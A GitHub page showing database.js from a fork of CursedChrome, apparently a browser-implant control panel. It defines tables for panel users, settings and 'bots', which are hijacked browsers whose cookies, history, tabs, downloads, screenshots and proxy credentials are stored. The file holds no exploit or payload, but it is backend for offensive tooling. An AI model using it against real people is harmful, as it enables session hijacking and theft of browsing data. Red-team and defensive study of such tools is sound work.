forked from mandatoryprogrammer/CursedChrome
-
Notifications
You must be signed in to change notification settings - Fork 2
/
database.js
374 lines (338 loc) · 10.2 KB
/
database.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
const { seq } = require("async");
const Sequelize = require("sequelize");
const uuid = require("uuid");
const get_secure_random_string = require("./utils.js").get_secure_random_string;
const get_hashed_password = require("./utils.js").get_hashed_password;
var sequelize = new Sequelize(
process.env.DATABASE_NAME,
process.env.DATABASE_USER,
process.env.DATABASE_PASSWORD,
{
host: process.env.DATABASE_HOST,
dialect: "postgres",
benchmark: true,
logging: false,
// logging: console.log,
}
);
const Model = Sequelize.Model;
/*
User accounts in the web panel
*/
class Users extends Model {}
Users.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// Whether or not the email address has been verified.
// Username
username: {
type: Sequelize.TEXT,
allowNull: true,
unique: true,
},
// Bcrypt
password: {
type: Sequelize.TEXT,
allowNull: true,
},
// Whether the password should be changed
// by the user when they log in.
password_should_be_changed: {
type: Sequelize.BOOLEAN,
allowNull: false,
default: false,
},
},
{
sequelize,
modelName: "users",
indexes: [
{
unique: true,
fields: ["username"],
method: "BTREE",
},
],
}
);
class Bots extends Model {}
Bots.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// The unique ID for the specific browser
browser_id: {
type: Sequelize.TEXT,
allowNull: false,
unique: false,
},
// Name of the browser proxy
name: {
type: Sequelize.TEXT,
allowNull: false,
unique: false,
default: "Untitled Proxy",
},
// The username to access the browser
// HTTP proxy.
proxy_username: {
type: Sequelize.TEXT,
allowNull: false,
unique: true,
},
// The password to access the browser
// HTTP proxy.
proxy_password: {
type: Sequelize.TEXT,
allowNull: false,
},
// Whether the proxy is currently online
is_online: {
type: Sequelize.BOOLEAN,
allowNull: false,
defaultValue: true,
},
last_online: {
type: Sequelize.DATE,
allowNull: false,
default: new Date(),
},
current_tab: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
current_tab_image: {
type: Sequelize.TEXT,
allowNull: false,
default: "",
},
tabs: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
history: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
cookies: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
state: {
type: Sequelize.TEXT,
allowNull: false,
default: "",
},
bookmarks: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
downloads: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
switch_config: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
data_config: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
// Bot user agent
user_agent: {
type: Sequelize.TEXT,
allowNull: true,
unique: false,
default: "Unknown",
},
recording: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
},
{
sequelize,
modelName: "bots",
indexes: [
{
unique: false,
fields: ["browser_id"],
method: "BTREE",
},
{
unique: true,
fields: ["proxy_username"],
method: "BTREE",
},
{
unique: false,
fields: ["proxy_password"],
method: "BTREE",
},
],
}
);
/*
Various key/values for settings
*/
class Settings extends Model {}
Settings.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// Setting name
key: {
type: Sequelize.TEXT,
allowNull: true,
unique: true,
},
// Setting value
value: {
type: Sequelize.TEXT,
allowNull: true,
},
},
{
sequelize,
modelName: "settings",
indexes: [
{
unique: true,
fields: ["key"],
method: "BTREE",
},
],
}
);
async function create_new_user(username, password) {
const bcrypt_hash = await get_hashed_password(password);
const new_user = await Users.create({
id: uuid.v4(),
username: username,
password: bcrypt_hash,
password_should_be_changed: true,
});
return new_user;
}
function get_default_user_created_banner(username, password) {
return `
============================================================================
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
An admin user (for the admin control panel) has been created
with the following credentials:
USERNAME: ${username}
PASSWORD: ${password}
Upon logging in to the admin control panel with these
credentials you will be prompted to change your password.
Please do so at your earliest convenience as this message
is potentially being logged by Docker.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
============================================================================
`;
}
async function initialize_users() {
// Check if there is at least one User account
// that exists in the database. If not, create
// one and write the auth information to the
// filesystem for the admin to get.
const existing_users = await Users.findAll();
// If there are already users we can stop here.
if (existing_users.length > 0) {
return;
}
// Since there's no users, we need to create one.
// Otherwise there's nothing to log in with.
// Generate cryptographically-secure random
// password for the default user we're adding.
const new_username = "admin";
const new_password = get_secure_random_string(32);
// Create user and add to database
const new_user = await create_new_user(new_username, new_password);
// Now we need to write these credentials to the
// filesystem in a file so the user can retrieve
// them.
const banner_message = get_default_user_created_banner(
new_username,
new_password
);
console.log(banner_message);
}
async function initialize_configs() {
const session_secret_key = "SESSION_SECRET";
// Check for existing session secret value
const session_secret_setting = await Settings.findOne({
where: {
key: session_secret_key,
},
});
// If it exists, there's nothing else to do here.
if (session_secret_setting) {
return;
}
console.log(`No session secret set, generating one now...`);
// Since it doesn't exist, generate one.
await Settings.create({
id: uuid.v4(),
key: session_secret_key,
value: get_secure_random_string(64),
});
console.log(`Session secret generated successfully!`);
}
async function database_init() {
console.log(`Checking for database tables...`);
const force = false;
try {
await Users.sync({ force: force });
console.log("Users synced");
} catch (error) {
console.error("Error during Model Sync:", error);
}
await Bots.sync({ force: force });
await Settings.sync({ force: force });
// Set up configs if they're not already set up.
console.log(`Checking for configs...`);
await initialize_configs();
// Set up admin panel user if not already set up.
console.log(`Checking for admin user...`);
await initialize_users();
}
module.exports.sequelize = sequelize;
module.exports.Users = Users;
module.exports.Bots = Bots;
module.exports.Settings = Settings;
module.exports.database_init = database_init;